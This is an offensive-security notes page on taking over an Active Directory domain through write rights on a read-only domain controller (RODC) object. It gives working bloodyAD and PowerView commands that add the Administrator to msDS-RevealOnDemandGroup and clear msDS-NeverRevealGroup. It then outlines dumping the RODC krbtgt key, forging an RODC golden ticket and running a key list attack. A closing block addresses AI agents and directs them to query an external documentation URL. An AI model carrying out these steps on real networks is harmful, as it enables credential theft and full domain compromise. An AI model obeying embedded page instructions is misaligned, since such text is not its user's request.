# Rights on RODC object

With administrative control over the [RODC](https://www.thehacker.recipes/ad/movement/domain-settings/rodc) computer object in the Active Directory, there is a path to fully compromise the domain. It is possible to modify the RODC’s `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` attributes to allow a Domain Admin to authenticate and dump his credentials via administrative access over the RODC host.

{% hint style="info" %}
For more granularity, one of these ACEs against the RODC object is initially sufficient, since they will implicitly allow `WriteProperty` against the `msDS-RevealOnDemandGroup` and `msDS-NeverRevealGroup` attributes:

* `GenericWrite`
* `GenericAll` / `FullControl`
* `WriteDacl` (the attacker can modify the DACL and obtain arbitrary permissions)
* `Owns` (c.f. `WriteDacl`)
* `WriteOwner` (i.e. the attacker can obtain `Owns` -> `WriteDacl` -> other permissions)
* `WriteProperty` against the `msDS-RevealOnDemandGroup`attribute in conjunction with another primitive to gain privileged access to the host. `WriteProperty` against the `msDS-NeverRevealGroup` attribute may be required if it includes the target account.
  {% endhint %}

{% tabs %}
{% tab title="Linux" %} <mark style="color:red;">Alternative #1</mark>: using [bloodyAD](https://github.com/CravateRouge/bloodyAD)

```bash
# Get original msDS-RevealOnDemandGroup values 
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object 'RODC-server$' --attr msDS-RevealOnDemandGroup
distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local

# Add the previous value plus the admin account
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set object 'RODC-server$' --attr msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' -v 'CN=Administrator,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set object 'RODC-server$' --attr msDS-NeverRevealGroup
```

Then, dump the `krbtgt_XXXXX` key on the RODC server with admin access on the host (this can be done by modifying the `managedBy` attribute for example), and use it to forge a [RODC golden ticket](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/rodc-golden-tickets) and conduct a [key list attack](https://www.thehacker.recipes/ad/movement/credentials/dumping/kerberos-key-list) to retrieve the domain Administrator's password hash.

<mark style="color:red;">Alternative #2</mark>: [PowerView python package](https://github.com/aniqfakhrul/powerview.py) (Python) can be used to modify the LDAP attribute.

```bash
powerview "$DOMAIN"/"$USER":"$PASSWORD"@"RODC_FQDN"

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup
```

{% endtab %}

{% tab title="Windows" %}
From Windows systems, [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) (PowerShell) can be used for this purpose.

```powershell
#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup'
```

Then, dump the `krbtgt_XXXXX` key on the RODC server with admin access on the host (this can be done by modifying the `managedBy` attribute for example), and use it to forge a [RODC golden ticket](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/rodc-golden-tickets) and conduct a [key list attack](https://www.thehacker.recipes/ad/movement/credentials/dumping/kerberos-key-list) to retrieve the domain Administrator's password hash.
{% endtab %}
{% endtabs %}

## Resources <a href="#resources" id="resources"></a>

{% embed url="<https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xpthree.gitbook.io/notes/active-directory/dacl-abuse/rights-on-rodc-object.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.